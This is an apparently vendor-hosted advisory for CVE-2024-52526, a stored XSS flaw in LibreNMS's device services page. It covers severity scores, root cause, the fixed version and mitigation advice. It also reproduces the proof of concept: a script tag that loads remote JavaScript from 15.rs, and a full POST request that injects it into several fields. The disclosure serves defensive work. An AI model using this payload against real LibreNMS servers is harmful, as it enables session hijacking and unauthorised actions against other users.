CVE-2024-52526 is a medium-severity (CVSS 4.8) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit reference exists, so weaponization risk is real. A fix is available for librenms/librenms — see the affected versions and patch details below.
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-52526.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-52526 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.
Details
When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service").
The payload used to exploit this vulnerability is:
Descr'"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The root cause is the application's failure to sanitize the "descr" parameter before outputting it in the HTML. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/services.inc.php#L87
PoC
- Create a service for a device using the following payload in the "descr" parameter:
Descr'"><script/src=//15.rs></script> - Save the service.
- Navigate to the "Services" tab of the device.
- Observe that the injected script executes in the "Services" tab.
Example Request:
POST /device/15/edit/section=services HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>¶ms=Params'"><script/src=//15.rs></script>&Submit=
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" tab of the device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.10.0composer require librenms/librenms:^24.10.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 24.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-52526 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-52526 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-52526. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-52526 in your dependencies?
O3 Security finds CVE-2024-52526 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.